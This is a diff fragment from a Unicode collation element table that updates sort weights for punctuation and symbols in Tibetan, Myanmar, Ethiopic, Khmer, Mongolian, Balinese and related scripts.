+0F07  ; [*03F6.0020.0002] # TIBETAN MARK YIG MGO TSHEG SHAD MA
+0F08  ; [*03F7.0020.0002] # TIBETAN MARK SBRUL SHAD
+0F09  ; [*03F8.0020.0002] # TIBETAN MARK BSKUR YIG MGO
+0F0A  ; [*03F9.0020.0002] # TIBETAN MARK BKA- SHOG YIG MGO
+0F0B  ; [*03FC.0020.0002] # TIBETAN MARK INTERSYLLABIC TSHEG
+0F0C  ; [*03FC.0020.001B] # TIBETAN MARK DELIMITER TSHEG BSTAR
+0F0D  ; [*03FD.0020.0002] # TIBETAN MARK SHAD
+0F0E  ; [*03FE.0020.0002] # TIBETAN MARK NYIS SHAD
+0F0F  ; [*03FF.0020.0002] # TIBETAN MARK TSHEG SHAD
+0F10  ; [*0400.0020.0002] # TIBETAN MARK NYIS TSHEG SHAD
+0F11  ; [*0401.0020.0002] # TIBETAN MARK RIN CHEN SPUNGS SHAD
+0F12  ; [*0402.0020.0002] # TIBETAN MARK RGYA GRAM SHAD
+0F13  ; [*0529.0020.0002] # TIBETAN MARK CARET -DZUD RTAGS ME LONG CAN
+0F14  ; [*0258.0020.0002] # TIBETAN MARK GTER TSHEG
+0F15  ; [*052A.0020.0002] # TIBETAN LOGOTYPE SIGN CHAD RTAGS
+0F16  ; [*052B.0020.0002] # TIBETAN LOGOTYPE SIGN LHAG RTAGS
+0F17  ; [*052C.0020.0002] # TIBETAN ASTROLOGICAL SIGN SGRA GCAN -CHAR RTAGS
 0F18  ; [.0000.0000.0000] # TIBETAN ASTROLOGICAL SIGN -KHYUD PA
 0F19  ; [.0000.0000.0000] # TIBETAN ASTROLOGICAL SIGN SDONG TSHUGS
-0F1A  ; [*050D.0020.0002] # TIBETAN SIGN RDEL DKAR GCIG
-0F1B  ; [*050E.0020.0002] # TIBETAN SIGN RDEL DKAR GNYIS
-0F1C  ; [*050F.0020.0002] # TIBETAN SIGN RDEL DKAR GSUM
-0F1D  ; [*0510.0020.0002] # TIBETAN SIGN RDEL NAG GCIG
-0F1E  ; [*0511.0020.0002] # TIBETAN SIGN RDEL NAG GNYIS
-0F1F  ; [*0512.0020.0002] # TIBETAN SIGN RDEL DKAR RDEL NAG
-0F34  ; [*0513.0020.0002] # TIBETAN MARK BSDUS RTAGS
+0F1A  ; [*052D.0020.0002] # TIBETAN SIGN RDEL DKAR GCIG
+0F1B  ; [*052E.0020.0002] # TIBETAN SIGN RDEL DKAR GNYIS
+0F1C  ; [*052F.0020.0002] # TIBETAN SIGN RDEL DKAR GSUM
+0F1D  ; [*0530.0020.0002] # TIBETAN SIGN RDEL NAG GCIG
+0F1E  ; [*0531.0020.0002] # TIBETAN SIGN RDEL NAG GNYIS
+0F1F  ; [*0532.0020.0002] # TIBETAN SIGN RDEL DKAR RDEL NAG
+0F34  ; [*0533.0020.0002] # TIBETAN MARK BSDUS RTAGS
 0F35  ; [.0000.0000.0000] # TIBETAN MARK NGAS BZUNG NYI ZLA
-0F36  ; [*0514.0020.0002] # TIBETAN MARK CARET -DZUD RTAGS BZHI MIG CAN
+0F36  ; [*0534.0020.0002] # TIBETAN MARK CARET -DZUD RTAGS BZHI MIG CAN
 0F37  ; [.0000.0000.0000] # TIBETAN MARK NGAS BZUNG SGOR RTAGS
-0F38  ; [*0515.0020.0002] # TIBETAN MARK CHE MGO
-0F3A  ; [*0316.0020.0002] # TIBETAN MARK GUG RTAGS GYON
-0F3B  ; [*0317.0020.0002] # TIBETAN MARK GUG RTAGS GYAS
-0F3C  ; [*0318.0020.0002] # TIBETAN MARK ANG KHANG GYON
-0F3D  ; [*0319.0020.0002] # TIBETAN MARK ANG KHANG GYAS
+0F38  ; [*0535.0020.0002] # TIBETAN MARK CHE MGO
+0F3A  ; [*031D.0020.0002] # TIBETAN MARK GUG RTAGS GYON
+0F3B  ; [*031E.0020.0002] # TIBETAN MARK GUG RTAGS GYAS
+0F3C  ; [*031F.0020.0002] # TIBETAN MARK ANG KHANG GYON
+0F3D  ; [*0320.0020.0002] # TIBETAN MARK ANG KHANG GYAS
 0F3E  ; [.0000.0000.0000] # TIBETAN SIGN YAR TSHES
 0F3F  ; [.0000.0000.0000] # TIBETAN SIGN MAR TSHES
 0F82  ; [.0000.0000.0000] # TIBETAN SIGN NYI ZLA NAA DA
 0F83  ; [.0000.0000.0000] # TIBETAN SIGN SNA LDAN
-0F85  ; [*03EE.0020.0002] # TIBETAN MARK PALUTA
+0F85  ; [*0403.0020.0002] # TIBETAN MARK PALUTA
 0F86  ; [.0000.0000.0000] # TIBETAN SIGN LCI RTAGS
 0F87  ; [.0000.0000.0000] # TIBETAN SIGN YANG RTAGS
-0FBE  ; [*0516.0020.0002] # TIBETAN KU RU KHA
-0FBF  ; [*0517.0020.0002] # TIBETAN KU RU KHA BZHI MIG CAN
-0FC0  ; [*0518.0020.0002] # TIBETAN CANTILLATION SIGN HEAVY BEAT
-0FC1  ; [*0519.0020.0002] # TIBETAN CANTILLATION SIGN LIGHT BEAT
-0FC2  ; [*051A.0020.0002] # TIBETAN CANTILLATION SIGN CANG TE-U
-0FC3  ; [*051B.0020.0002] # TIBETAN CANTILLATION SIGN SBUB -CHAL
-0FC4  ; [*051C.0020.0002] # TIBETAN SYMBOL DRIL BU
-0FC5  ; [*051D.0020.0002] # TIBETAN SYMBOL RDO RJE
+0FBE  ; [*0536.0020.0002] # TIBETAN KU RU KHA
+0FBF  ; [*0537.0020.0002] # TIBETAN KU RU KHA BZHI MIG CAN
+0FC0  ; [*0538.0020.0002] # TIBETAN CANTILLATION SIGN HEAVY BEAT
+0FC1  ; [*0539.0020.0002] # TIBETAN CANTILLATION SIGN LIGHT BEAT
+0FC2  ; [*053A.0020.0002] # TIBETAN CANTILLATION SIGN CANG TE-U
+0FC3  ; [*053B.0020.0002] # TIBETAN CANTILLATION SIGN SBUB -CHAL
+0FC4  ; [*053C.0020.0002] # TIBETAN SYMBOL DRIL BU
+0FC5  ; [*053D.0020.0002] # TIBETAN SYMBOL RDO RJE
 0FC6  ; [.0000.0000.0000] # TIBETAN SYMBOL PADMA GDAN
-0FC7  ; [*051E.0020.0002] # TIBETAN SYMBOL RDO RJE RGYA GRAM
-0FC8  ; [*051F.0020.0002] # TIBETAN SYMBOL PHUR PA
-0FC9  ; [*0520.0020.0002] # TIBETAN SYMBOL NOR BU
-0FCA  ; [*0521.0020.0002] # TIBETAN SYMBOL NOR BU NYIS -KHYIL
-0FCB  ; [*0522.0020.0002] # TIBETAN SYMBOL NOR BU GSUM -KHYIL
-0FCC  ; [*0523.0020.0002] # TIBETAN SYMBOL NOR BU BZHI -KHYIL
-0FCE  ; [*0524.0020.0002] # TIBETAN SIGN RDEL NAG RDEL DKAR
-0FCF  ; [*0525.0020.0002] # TIBETAN SIGN RDEL NAG GSUM
-0FD0  ; [*03E5.0020.0002] # TIBETAN MARK BSKA- SHOG GI MGO RGYAN
-0FD1  ; [*03E6.0020.0002] # TIBETAN MARK MNYAM YIG GI MGO RGYAN
-0FD2  ; [*03EF.0020.0002] # TIBETAN MARK NYIS TSHEG
-0FD3  ; [*03F0.0020.0002] # TIBETAN MARK INITIAL BRDA RNYING YIG MGO MDUN MA
-0FD4  ; [*03F1.0020.0002] # TIBETAN MARK CLOSING BRDA RNYING YIG MGO SGAB MA
-0FD5  ; [*0526.0020.0002] # RIGHT-FACING SVASTI SIGN
-0FD6  ; [*0527.0020.0002] # LEFT-FACING SVASTI SIGN
-0FD7  ; [*0528.0020.0002] # RIGHT-FACING SVASTI SIGN WITH DOTS
-0FD8  ; [*0529.0020.0002] # LEFT-FACING SVASTI SIGN WITH DOTS
-0FD9  ; [*03F2.0020.0002] # TIBETAN MARK LEADING MCHAN RTAGS
-0FDA  ; [*03F3.0020.0002] # TIBETAN MARK TRAILING MCHAN RTAGS
-104A  ; [*0296.0020.0002] # MYANMAR SIGN LITTLE SECTION
-104B  ; [*0297.0020.0002] # MYANMAR SIGN SECTION
-104C  ; [*03F7.0020.0002] # MYANMAR SYMBOL LOCATIVE
-104D  ; [*03F8.0020.0002] # MYANMAR SYMBOL COMPLETED
-104E  ; [*03F9.0020.0002] # MYANMAR SYMBOL AFOREMENTIONED
-104F  ; [*03FA.0020.0002] # MYANMAR SYMBOL GENITIVE
-109E  ; [*052B.0020.0002] # MYANMAR SYMBOL SHAN ONE
-109F  ; [*052C.0020.0002] # MYANMAR SYMBOL SHAN EXCLAMATION
-10FB  ; [*02BF.0020.0002] # GEORGIAN PARAGRAPH SEPARATOR
-1360  ; [*02C0.0020.0002] # ETHIOPIC SECTION MARK
-1361  ; [*0250.0020.0002] # ETHIOPIC WORDSPACE
-1362  ; [*0279.0020.0002] # ETHIOPIC FULL STOP
-1363  ; [*0251.0020.0002] # ETHIOPIC COMMA
-1364  ; [*0252.0020.0002] # ETHIOPIC SEMICOLON
-1365  ; [*0253.0020.0002] # ETHIOPIC COLON
-1366  ; [*0254.0020.0002] # ETHIOPIC PREFACE COLON
-1367  ; [*026A.0020.0002] # ETHIOPIC QUESTION MARK
-1368  ; [*02C1.0020.0002] # ETHIOPIC PARAGRAPH SEPARATOR
-1372  ; [*1A41.0020.0002] # ETHIOPIC NUMBER TEN
-1373  ; [*1A42.0020.0002] # ETHIOPIC NUMBER TWENTY
-1374  ; [*1A43.0020.0002] # ETHIOPIC NUMBER THIRTY
-1375  ; [*1A44.0020.0002] # ETHIOPIC NUMBER FORTY
-1376  ; [*1A45.0020.0002] # ETHIOPIC NUMBER FIFTY
-1377  ; [*1A46.0020.0002] # ETHIOPIC NUMBER SIXTY
-1378  ; [*1A47.0020.0002] # ETHIOPIC NUMBER SEVENTY
-1379  ; [*1A48.0020.0002] # ETHIOPIC NUMBER EIGHTY
-137A  ; [*1A49.0020.0002] # ETHIOPIC NUMBER NINETY
-137B  ; [*1A4A.0020.0002] # ETHIOPIC NUMBER HUNDRED
-137C  ; [*1A4B.0020.0002] # ETHIOPIC NUMBER TEN THOUSAND
-1390  ; [*04A7.0020.0002] # ETHIOPIC TONAL MARK YIZET
-1391  ; [*04A8.0020.0002] # ETHIOPIC TONAL MARK DERET
-1392  ; [*04A9.0020.0002] # ETHIOPIC TONAL MARK RIKRIK
-1393  ; [*04AA.0020.0002] # ETHIOPIC TONAL MARK SHORT RIKRIK
-1394  ; [*04AB.0020.0002] # ETHIOPIC TONAL MARK DIFAT
-1395  ; [*04AC.0020.0002] # ETHIOPIC TONAL MARK KENAT
-1396  ; [*04AD.0020.0002] # ETHIOPIC TONAL MARK CHIRET
-1397  ; [*04AE.0020.0002] # ETHIOPIC TONAL MARK HIDET
-1398  ; [*04AF.0020.0002] # ETHIOPIC TONAL MARK DERET-HIDET
-1399  ; [*04B0.0020.0002] # ETHIOPIC TONAL MARK KURT
+0FC7  ; [*053E.0020.0002] # TIBETAN SYMBOL RDO RJE RGYA GRAM
+0FC8  ; [*053F.0020.0002] # TIBETAN SYMBOL PHUR PA
+0FC9  ; [*0540.0020.0002] # TIBETAN SYMBOL NOR BU
+0FCA  ; [*0541.0020.0002] # TIBETAN SYMBOL NOR BU NYIS -KHYIL
+0FCB  ; [*0542.0020.0002] # TIBETAN SYMBOL NOR BU GSUM -KHYIL
+0FCC  ; [*0543.0020.0002] # TIBETAN SYMBOL NOR BU BZHI -KHYIL
+0FCE  ; [*0544.0020.0002] # TIBETAN SIGN RDEL NAG RDEL DKAR
+0FCF  ; [*0545.0020.0002] # TIBETAN SIGN RDEL NAG GSUM
+0FD0  ; [*03FA.0020.0002] # TIBETAN MARK BSKA- SHOG GI MGO RGYAN
+0FD1  ; [*03FB.0020.0002] # TIBETAN MARK MNYAM YIG GI MGO RGYAN
+0FD2  ; [*0404.0020.0002] # TIBETAN MARK NYIS TSHEG
+0FD3  ; [*0405.0020.0002] # TIBETAN MARK INITIAL BRDA RNYING YIG MGO MDUN MA
+0FD4  ; [*0406.0020.0002] # TIBETAN MARK CLOSING BRDA RNYING YIG MGO SGAB MA
+0FD5  ; [*0546.0020.0002] # RIGHT-FACING SVASTI SIGN
+0FD6  ; [*0547.0020.0002] # LEFT-FACING SVASTI SIGN
+0FD7  ; [*0548.0020.0002] # RIGHT-FACING SVASTI SIGN WITH DOTS
+0FD8  ; [*0549.0020.0002] # LEFT-FACING SVASTI SIGN WITH DOTS
+0FD9  ; [*0407.0020.0002] # TIBETAN MARK LEADING MCHAN RTAGS
+0FDA  ; [*0408.0020.0002] # TIBETAN MARK TRAILING MCHAN RTAGS
+104A  ; [*0299.0020.0002] # MYANMAR SIGN LITTLE SECTION
+104B  ; [*029A.0020.0002] # MYANMAR SIGN SECTION
+104C  ; [*040E.0020.0002] # MYANMAR SYMBOL LOCATIVE
+104D  ; [*040F.0020.0002] # MYANMAR SYMBOL COMPLETED
+104E  ; [*0410.0020.0002] # MYANMAR SYMBOL AFOREMENTIONED
+104F  ; [*0411.0020.0002] # MYANMAR SYMBOL GENITIVE
+109E  ; [*054B.0020.0002] # MYANMAR SYMBOL SHAN ONE
+109F  ; [*054C.0020.0002] # MYANMAR SYMBOL SHAN EXCLAMATION
+10FB  ; [*02C6.0020.0002] # GEORGIAN PARAGRAPH SEPARATOR
+1360  ; [*02C7.0020.0002] # ETHIOPIC SECTION MARK
+1361  ; [*0251.0020.0002] # ETHIOPIC WORDSPACE
+1362  ; [*027C.0020.0002] # ETHIOPIC FULL STOP
+1363  ; [*0252.0020.0002] # ETHIOPIC COMMA
+1364  ; [*0253.0020.0002] # ETHIOPIC SEMICOLON
+1365  ; [*0254.0020.0002] # ETHIOPIC COLON
+1366  ; [*0255.0020.0002] # ETHIOPIC PREFACE COLON
+1367  ; [*026C.0020.0002] # ETHIOPIC QUESTION MARK
+1368  ; [*02C8.0020.0002] # ETHIOPIC PARAGRAPH SEPARATOR
+1372  ; [*1ABB.0020.0002] # ETHIOPIC NUMBER TEN
+1373  ; [*1ABC.0020.0002] # ETHIOPIC NUMBER TWENTY
+1374  ; [*1ABD.0020.0002] # ETHIOPIC NUMBER THIRTY
+1375  ; [*1ABE.0020.0002] # ETHIOPIC NUMBER FORTY
+1376  ; [*1ABF.0020.0002] # ETHIOPIC NUMBER FIFTY
+1377  ; [*1AC0.0020.0002] # ETHIOPIC NUMBER SIXTY
+1378  ; [*1AC1.0020.0002] # ETHIOPIC NUMBER SEVENTY
+1379  ; [*1AC2.0020.0002] # ETHIOPIC NUMBER EIGHTY
+137A  ; [*1AC3.0020.0002] # ETHIOPIC NUMBER NINETY
+137B  ; [*1AC4.0020.0002] # ETHIOPIC NUMBER HUNDRED
+137C  ; [*1AC5.0020.0002] # ETHIOPIC NUMBER TEN THOUSAND
+1390  ; [*04C6.0020.0002] # ETHIOPIC TONAL MARK YIZET
+1391  ; [*04C7.0020.0002] # ETHIOPIC TONAL MARK DERET
+1392  ; [*04C8.0020.0002] # ETHIOPIC TONAL MARK RIKRIK
+1393  ; [*04C9.0020.0002] # ETHIOPIC TONAL MARK SHORT RIKRIK
+1394  ; [*04CA.0020.0002] # ETHIOPIC TONAL MARK DIFAT
+1395  ; [*04CB.0020.0002] # ETHIOPIC TONAL MARK KENAT
+1396  ; [*04CC.0020.0002] # ETHIOPIC TONAL MARK CHIRET
+1397  ; [*04CD.0020.0002] # ETHIOPIC TONAL MARK HIDET
+1398  ; [*04CE.0020.0002] # ETHIOPIC TONAL MARK DERET-HIDET
+1399  ; [*04CF.0020.0002] # ETHIOPIC TONAL MARK KURT
 1400  ; [*020F.0020.0002] # CANADIAN SYLLABICS HYPHEN
-166D  ; [*0407.0020.0002] # CANADIAN SYLLABICS CHI SIGN
-166E  ; [*027C.0020.0002] # CANADIAN SYLLABICS FULL STOP
+166D  ; [*041E.0020.0002] # CANADIAN SYLLABICS CHI SIGN
+166E  ; [*027F.0020.0002] # CANADIAN SYLLABICS FULL STOP
 1680  ; [*0209.0020.0004] # OGHAM SPACE MARK
-169B  ; [*031A.0020.0002] # OGHAM FEATHER MARK
-169C  ; [*031B.0020.0002] # OGHAM REVERSED FEATHER MARK
-16EB  ; [*025B.0020.0002] # RUNIC SINGLE PUNCTUATION
-16EC  ; [*025C.0020.0002] # RUNIC MULTIPLE PUNCTUATION
-16ED  ; [*025D.0020.0002] # RUNIC CROSS PUNCTUATION
-1735  ; [*0293.0020.0002] # PHILIPPINE SINGLE PUNCTUATION
-1736  ; [*0294.0020.0002] # PHILIPPINE DOUBLE PUNCTUATION
+169B  ; [*0321.0020.0002] # OGHAM FEATHER MARK
+169C  ; [*0322.0020.0002] # OGHAM REVERSED FEATHER MARK
+16EB  ; [*025C.0020.0002] # RUNIC SINGLE PUNCTUATION
+16EC  ; [*025D.0020.0002] # RUNIC MULTIPLE PUNCTUATION
+16ED  ; [*025E.0020.0002] # RUNIC CROSS PUNCTUATION
+1735  ; [*0296.0020.0002] # PHILIPPINE SINGLE PUNCTUATION
+1736  ; [*0297.0020.0002] # PHILIPPINE DOUBLE PUNCTUATION
 17B4  ; [.0000.0000.0000] # KHMER VOWEL INHERENT AQ
 17B5  ; [.0000.0000.0000] # KHMER VOWEL INHERENT AA
 17D3  ; [.0000.0000.0000] # KHMER SIGN BATHAMASAT
-17D4  ; [*0298.0020.0002] # KHMER SIGN KHAN
-17D5  ; [*0299.0020.0002] # KHMER SIGN BARIYOOSAN
-17D6  ; [*0258.0020.0002] # KHMER SIGN CAMNUC PII KUUH
-17D8  ; [*03FB.0020.0002] # KHMER SIGN BEYYAL
-17D9  ; [*03FC.0020.0002] # KHMER SIGN PHNAEK MUAN
-17DA  ; [*03FD.0020.0002] # KHMER SIGN KOOMUUT
-1800  ; [*03D1.0020.0002] # MONGOLIAN BIRGA
-1801  ; [*0275.0020.0002] # MONGOLIAN ELLIPSIS
-1802  ; [*022B.0020.0002] # MONGOLIAN COMMA
-1803  ; [*027A.0020.0002] # MONGOLIAN FULL STOP
-1804  ; [*0255.0020.0002] # MONGOLIAN COLON
-1805  ; [*0256.0020.0002] # MONGOLIAN FOUR DOTS
+17D4  ; [*029B.0020.0002] # KHMER SIGN KHAN
+17D5  ; [*029C.0020.0002] # KHMER SIGN BARIYOOSAN
+17D6  ; [*0259.0020.0002] # KHMER SIGN CAMNUC PII KUUH
+17D8  ; [*0412.0020.0002] # KHMER SIGN BEYYAL
+17D9  ; [*0413.0020.0002] # KHMER SIGN PHNAEK MUAN
+17DA  ; [*0414.0020.0002] # KHMER SIGN KOOMUUT
+1800  ; [*03D9.0020.0002] # MONGOLIAN BIRGA
+1801  ; [*0278.0020.0002] # MONGOLIAN ELLIPSIS
+1802  ; [*022C.0020.0002] # MONGOLIAN COMMA
+1803  ; [*027D.0020.0002] # MONGOLIAN FULL STOP
+1804  ; [*0256.0020.0002] # MONGOLIAN COLON
+1805  ; [*0257.0020.0002] # MONGOLIAN FOUR DOTS
 1806  ; [*0211.0020.0002] # MONGOLIAN TODO SOFT HYPHEN
 1807  ; [*0212.0020.0002] # MONGOLIAN SIBE SYLLABLE BOUNDARY MARKER
-1808  ; [*022C.0020.0002] # MONGOLIAN MANCHU COMMA
-1809  ; [*027B.0020.0002] # MONGOLIAN MANCHU FULL STOP
+1808  ; [*022D.0020.0002] # MONGOLIAN MANCHU COMMA
+1809  ; [*027E.0020.0002] # MONGOLIAN MANCHU FULL STOP
 180A  ; [.0000.0000.0000] # MONGOLIAN NIRUGU
-1940  ; [*052A.0020.0002] # LIMBU SIGN LOO
-1944  ; [*0263.0020.0002] # LIMBU EXCLAMATION MARK
-1945  ; [*026B.0020.0002] # LIMBU QUESTION MARK
-19E0  ; [*0531.0020.0002] # KHMER SYMBOL PATHAMASAT
-19E1  ; [*0532.0020.0002] # KHMER SYMBOL MUOY KOET
-19E2  ; [*0533.0020.0002] # KHMER SYMBOL PII KOET
-19E3  ; [*0534.0020.0002] # KHMER SYMBOL BEI KOET
-19E4  ; [*0535.0020.0002] # KHMER SYMBOL BUON KOET
-19E5  ; [*0536.0020.0002] # KHMER SYMBOL PRAM KOET
-19E6  ; [*0537.0020.0002] # KHMER SYMBOL PRAM-MUOY KOET
-19E7  ; [*0538.0020.0002] # KHMER SYMBOL PRAM-PII KOET
-19E8  ; [*0539.0020.0002] # KHMER SYMBOL PRAM-BEI KOET
-19E9  ; [*053A.0020.0002] # KHMER SYMBOL PRAM-BUON KOET
-19EA  ; [*053B.0020.0002] # KHMER SYMBOL DAP KOET
-19EB  ; [*053C.0020.0002] # KHMER SYMBOL DAP-MUOY KOET
-19EC  ; [*053D.0020.0002] # KHMER SYMBOL DAP-PII KOET
-19ED  ; [*053E.0020.0002] # KHMER SYMBOL DAP-BEI KOET
-19EE  ; [*053F.0020.0002] # KHMER SYMBOL DAP-BUON KOET
-19EF  ; [*0540.0020.0002] # KHMER SYMBOL DAP-PRAM KOET
-19F0  ; [*0541.0020.0002] # KHMER SYMBOL TUTEYASAT
-19F1  ; [*0542.0020.0002] # KHMER SYMBOL MUOY ROC
-19F2  ; [*0543.0020.0002] # KHMER SYMBOL PII ROC
-19F3  ; [*0544.0020.0002] # KHMER SYMBOL BEI ROC
-19F4  ; [*0545.0020.0002] # KHMER SYMBOL BUON ROC
-19F5  ; [*0546.0020.0002] # KHMER SYMBOL PRAM ROC
-19F6  ; [*0547.0020.0002] # KHMER SYMBOL PRAM-MUOY ROC
-19F7  ; [*0548.0020.0002] # KHMER SYMBOL PRAM-PII ROC
-19F8  ; [*0549.0020.0002] # KHMER SYMBOL PRAM-BEI ROC
-19F9  ; [*054A.0020.0002] # KHMER SYMBOL PRAM-BUON ROC
-19FA  ; [*054B.0020.0002] # KHMER SYMBOL DAP ROC
-19FB  ; [*054C.0020.0002] # KHMER SYMBOL DAP-MUOY ROC
-19FC  ; [*054D.0020.0002] # KHMER SYMBOL DAP-PII ROC
-19FD  ; [*054E.0020.0002] # KHMER SYMBOL DAP-BEI ROC
-19FE  ; [*054F.0020.0002] # KHMER SYMBOL DAP-BUON ROC
-19FF  ; [*0550.0020.0002] # KHMER SYMBOL DAP-PRAM ROC
-1A1E  ; [*02C2.0020.0002] # BUGINESE PALLAWA
-1A1F  ; [*02C3.0020.0002] # BUGINESE END OF SECTION
+1940  ; [*054A.0020.0002] # LIMBU SIGN LOO
+1944  ; [*0264.0020.0002] # LIMBU EXCLAMATION MARK
+1945  ; [*026D.0020.0002] # LIMBU QUESTION MARK
+19E0  ; [*0551.0020.0002] # KHMER SYMBOL PATHAMASAT
+19E1  ; [*0552.0020.0002] # KHMER SYMBOL MUOY KOET
+19E2  ; [*0553.0020.0002] # KHMER SYMBOL PII KOET
+19E3  ; [*0554.0020.0002] # KHMER SYMBOL BEI KOET
+19E4  ; [*0555.0020.0002] # KHMER SYMBOL BUON KOET
+19E5  ; [*0556.0020.0002] # KHMER SYMBOL PRAM KOET
+19E6  ; [*0557.0020.0002] # KHMER SYMBOL PRAM-MUOY KOET
+19E7  ; [*0558.0020.0002] # KHMER SYMBOL PRAM-PII KOET
+19E8  ; [*0559.0020.0002] # KHMER SYMBOL PRAM-BEI KOET
+19E9  ; [*055A.0020.0002] # KHMER SYMBOL PRAM-BUON KOET
+19EA  ; [*055B.0020.0002] # KHMER SYMBOL DAP KOET
+19EB  ; [*055C.0020.0002] # KHMER SYMBOL DAP-MUOY KOET
+19EC  ; [*055D.0020.0002] # KHMER SYMBOL DAP-PII KOET
+19ED  ; [*055E.0020.0002] # KHMER SYMBOL DAP-BEI KOET
+19EE  ; [*055F.0020.0002] # KHMER SYMBOL DAP-BUON KOET
+19EF  ; [*0560.0020.0002] # KHMER SYMBOL DAP-PRAM KOET
+19F0  ; [*0561.0020.0002] # KHMER SYMBOL TUTEYASAT
+19F1  ; [*0562.0020.0002] # KHMER SYMBOL MUOY ROC
+19F2  ; [*0563.0020.0002] # KHMER SYMBOL PII ROC
+19F3  ; [*0564.0020.0002] # KHMER SYMBOL BEI ROC
+19F4  ; [*0565.0020.0002] # KHMER SYMBOL BUON ROC
+19F5  ; [*0566.0020.0002] # KHMER SYMBOL PRAM ROC
+19F6  ; [*0567.0020.0002] # KHMER SYMBOL PRAM-MUOY ROC
+19F7  ; [*0568.0020.0002] # KHMER SYMBOL PRAM-PII ROC
+19F8  ; [*0569.0020.0002] # KHMER SYMBOL PRAM-BEI ROC
+19F9  ; [*056A.0020.0002] # KHMER SYMBOL PRAM-BUON ROC
+19FA  ; [*056B.0020.0002] # KHMER SYMBOL DAP ROC
+19FB  ; [*056C.0020.0002] # KHMER SYMBOL DAP-MUOY ROC
+19FC  ; [*056D.0020.0002] # KHMER SYMBOL DAP-PII ROC
+19FD  ; [*056E.0020.0002] # KHMER SYMBOL DAP-BEI ROC
+19FE  ; [*056F.0020.0002] # KHMER SYMBOL DAP-BUON ROC
+19FF  ; [*0570.0020.0002] # KHMER SYMBOL DAP-PRAM ROC
+1A1E  ; [*02C9.0020.0002] # BUGINESE PALLAWA
+1A1F  ; [*02CA.0020.0002] # BUGINESE END OF SECTION
 1A7F  ; [.0000.0000.0000] # TAI THAM COMBINING CRYPTOGRAMMIC DOT
-1AA0  ; [*03FE.0020.0002] # TAI THAM SIGN WIANG
-1AA1  ; [*03FF.0020.0002] # TAI THAM SIGN WIANGWAAK
-1AA2  ; [*0400.0020.0002] # TAI THAM SIGN SAWAN
-1AA3  ; [*0401.0020.0002] # TAI THAM SIGN KEOW
-1AA4  ; [*0402.0020.0002] # TAI THAM SIGN HOY
-1AA5  ; [*0403.0020.0002] # TAI THAM SIGN DOKMAI
-1AA6  ; [*0404.0020.0002] # TAI THAM SIGN REVERSED ROTATED RANA
-1AA8  ; [*029A.0020.0002] # TAI THAM SIGN KAAN
-1AA9  ; [*029B.0020.0002] # TAI THAM SIGN KAANKUU
-1AAA  ; [*029C.0020.0002] # TAI THAM SIGN SATKAAN
-1AAB  ; [*029D.0020.0002] # TAI THAM SIGN SATKAANKUU
-1AAC  ; [*0405.0020.0002] # TAI THAM SIGN HANG
-1AAD  ; [*0406.0020.0002] # TAI THAM SIGN CAANG
-1B5A  ; [*02C4.0020.0002] # BALINESE PANTI
-1B5B  ; [*02C5.0020.0002] # BALINESE PAMADA
-1B5C  ; [*027D.0020.0002] # BALINESE WINDU
-1B5D  ; [*0259.0020.0002] # BALINESE CARIK PAMUNGKAH
-1B5E  ; [*029E.0020.0002] # BALINESE CARIK SIKI
-1B5F  ; [*029F.0020.0002] # BALINESE CARIK PAREREN
+1AA0  ; [*0415.0020.0002] # TAI THAM SIGN WIANG
+1AA1  ; [*0416.0020.0002] # TAI THAM SIGN WIANGWAAK
+1AA2  ; [*0417.0020.0002] # TAI THAM SIGN SAWAN
+1AA3  ; [*0418.0020.0002] # TAI THAM SIGN KEOW
+1AA4  ; [*0419.0020.0002] # TAI THAM SIGN HOY
+1AA5  ; [*041A.0020.0002] # TAI THAM SIGN DOKMAI
+1AA6  ; [*041B.0020.0002] # TAI THAM SIGN REVERSED ROTATED RANA
+1AA8  ; [*029D.0020.0002] # TAI THAM SIGN KAAN
+1AA9  ; [*029E.0020.0002] # TAI THAM SIGN KAANKUU
+1AAA  ; [*029F.0020.0002] # TAI THAM SIGN SATKAAN
+1AAB  ; [*02A0.0020.0002] # TAI THAM SIGN SATKAANKUU
+1AAC  ; [*041C.0020.0002] # TAI THAM SIGN HANG
+1AAD  ; [*041D.0020.0002] # TAI THAM SIGN CAANG
+1B5A  ; [*02CB.0020.0002] # BALINESE PANTI
+1B5B  ; [*02CC.0020.0002] # BALINESE PAMADA
+1B5C  ; [*0280.0020.0002] # BALINESE WINDU
+1B5D  ; [*025A.0020.0002] # BALINESE CARIK PAMUNGKAH
+1B5E  ; [*02A1.0020.0002] # BALINESE CARIK SIKI
+1B5F  ; [*02A2.0020.0002] # BALINESE CARIK PAREREN
 1B60  ; [*0210.0020.0002] # BALINESE PAMENENG
-1B61  ; [*0551.0020.0002] # BALINESE MUSICAL SYMBOL DONG
-1B62  ; [*0552.0020.0002] # BALINESE MUSICAL SYMBOL DENG
-1B63  ; [*0553.0020.0002] # BALINESE MUSICAL SYMBOL DUNG
-1B64  ; [*0554.0020.0002] # BALINESE MUSICAL SYMBOL DANG
-1B65  ; [*0555.0020.0002] # BALINESE MUSICAL SYMBOL DANG SURANG
-1B66  ; [*0556.0020.0002] # BALINESE MUSICAL SYMBOL DING
-1B67  ; [*0557.0020.0002] # BALINESE MUSICAL SYMBOL DAENG
-1B68  ; [*0558.0020.0002] # BALINESE MUSICAL SYMBOL DEUNG
-1B69  ; [*0559.0020.0002] # BALINESE MUSICAL SYMBOL DAING
-1B6A  ; [*055A.0020.0002] # BALINESE MUSICAL SYMBOL DANG GEDE
+1B61  ; [*0571.0020.0002] # BALINESE MUSICAL SYMBOL DONG
+1B62  ; [*0572.0020.0002] # BALINESE MUSICAL SYMBOL DENG
+1B63  ; [*0573.0020.0002] # BALINESE MUSICAL SYMBOL DUNG
+1B64  ; [*0574.0020.0002] # BALINESE MUSICAL SYMBOL DANG
+1B65  ; [*0575.0020.0002] # BALINESE MUSICAL SYMBOL DANG SURANG
+1B66  ; [*0576.0020.0002] # BALINESE MUSICAL SYMBOL DING
+1B67  ; [*0577.0020.0002] # BALINESE MUSICAL SYMBOL DAENG
+1B68  ; [*0578.0020.0002] # BALINESE MUSICAL SYMBOL DEUNG
+1B69  ; [*0579.0020.0002] # BALINESE MUSICAL SYMBOL DAING
+1B6A  ; [*057A.0020.0002] # BALINESE MUSICAL SYMBOL DANG GEDE
 1B6B  ; [.0000.0000.0000] # BALINESE MUSICAL SYMBOL COMBINING TEGEH
 1B6C  ; [.0000.0000.0000] # BALINESE MUSICAL SYMBOL COMBINING ENDEP
 1B6D  ; [.0000.0000.0000] # BALINESE MUSICAL SYMBOL COMBINING KEMPUL
@@ -1018,34 +1045,34 @@
